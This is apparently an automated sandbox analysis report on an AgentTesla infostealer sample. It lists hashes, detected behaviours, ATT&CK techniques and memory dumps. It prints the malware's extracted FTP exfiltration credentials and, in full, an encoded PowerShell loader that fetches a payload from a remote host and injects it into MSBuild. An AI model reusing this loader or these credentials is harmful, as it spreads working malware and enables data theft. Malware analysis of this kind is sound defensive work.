agenttesla | f1c4511b233b4db0e962affaef1b5c40857090ae742d86bf7ed81d6e2f0670eb

General

Target

f1c4511b233b4db0e962affaef1b5c40857090ae742d86bf7ed81d6e2f0670eb.vbs
Size

210KB
MD5

baa04801e19bf9c54632466ba0173b68
SHA1

0c93e65e1842cde8b6eee58981a066413e2b6677
SHA256

f1c4511b233b4db0e962affaef1b5c40857090ae742d86bf7ed81d6e2f0670eb
SHA512

3c97d629e86117976a801a92bc807504854604a4494684b5117d40b7154bc2d602da9940404f01201ab711fa48344c3d79d84fe5741ee5537054aa21a07a33a7
SSDEEP

3072:6knVmI3b0mgfmWu+He9VOv5iG5sVhQ30Wk+70wgA11:6knV4e9VOvp

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.siscop.com.co
Port:
21
Username:
[email protected]
Password:
+5s48Ia2&-(t

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	2248	powershell.exe
9	2248	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2248	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2248 set thread context of 5004	2248	powershell.exe	85

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2248	powershell.exe
2248	powershell.exe
5004	MSBuild.exe
5004	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	5004	MSBuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3588 wrote to memory of 2248	3588	WScript.exe	83
PID 3588 wrote to memory of 2248	3588	WScript.exe	83
PID 2248 wrote to memory of 5004	2248	powershell.exe	85
PID 2248 wrote to memory of 5004	2248	powershell.exe	85
PID 2248 wrote to memory of 5004	2248	powershell.exe	85
PID 2248 wrote to memory of 5004	2248	powershell.exe	85
PID 2248 wrote to memory of 5004	2248	powershell.exe	85
PID 2248 wrote to memory of 5004	2248	powershell.exe	85
PID 2248 wrote to memory of 5004	2248	powershell.exe	85
PID 2248 wrote to memory of 5004	2248	powershell.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f1c4511b233b4db0e962affaef1b5c40857090ae742d86bf7ed81d6e2f0670eb.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4ANQA1ADUAZQBzAGEAYgBwAHAAcABwAHAAcABwAGMAYwBjAG8AbwBvAG8AbwBjAHMAaQBzAC8AOQAyADIALgA1ADkALgAzAC4AMgA5ADEALwAvADoAcAB0AHQAaAAnADsAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAgAD0AIAAkAG8AcgBpAGcAaQBuAGEAbABUAGUAeAB0ACAALQByAGUAcABsAGEAYwBlACAAJwAjACcALAAgACcAdAAnADsAJABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAGEAeAB3AHUAYQA2ADMAeQAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwA3ADYAOQA2ADEANwAxAC8AaABlAGsAZQAyAHAAbQB0AGUAdQB3ADgAcwBxAHMAcABsAGgAawBsAC4AagBwAGcAJwA7ACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGkAbQBhAGcAZQBVAHIAbAApADsAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJAB0AHkAcABlACAAPQAgAFsAQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMQAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBtAGEAaQBuACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAcgBlAHMAdABvAHIAZQBkAFQAZQB4AHQALAAnAGYAYQBsAHMAZQAnACwAJwBNAFMAQgB1AGkAbABkACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ptvwdo0c.ha1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2248-14-0x000001C9396D0000-0x000001C9396D6000-memory.dmp

Filesize
24KB

Download
memory/2248-9-0x000001C939860000-0x000001C939882000-memory.dmp

Filesize
136KB

Download
memory/2248-11-0x00007FFCD9870000-0x00007FFCDA331000-memory.dmp

Filesize
10.8MB

Download
memory/2248-12-0x00007FFCD9870000-0x00007FFCDA331000-memory.dmp

Filesize
10.8MB

Download
memory/2248-13-0x000001C9396C0000-0x000001C9396D4000-memory.dmp

Filesize
80KB

Download
memory/2248-0-0x00007FFCD9873000-0x00007FFCD9875000-memory.dmp

Filesize
8KB

Download
memory/2248-18-0x00007FFCD9870000-0x00007FFCDA331000-memory.dmp

Filesize
10.8MB

Download
memory/5004-15-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/5004-19-0x0000000006080000-0x0000000006624000-memory.dmp

Filesize
5.6MB

Download
memory/5004-20-0x0000000005B40000-0x0000000005BA6000-memory.dmp

Filesize
408KB

Download
memory/5004-21-0x0000000006CC0000-0x0000000006D10000-memory.dmp

Filesize
320KB

Download
memory/5004-22-0x0000000006DB0000-0x0000000006E42000-memory.dmp

Filesize
584KB

Download
memory/5004-23-0x0000000006D40000-0x0000000006D4A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing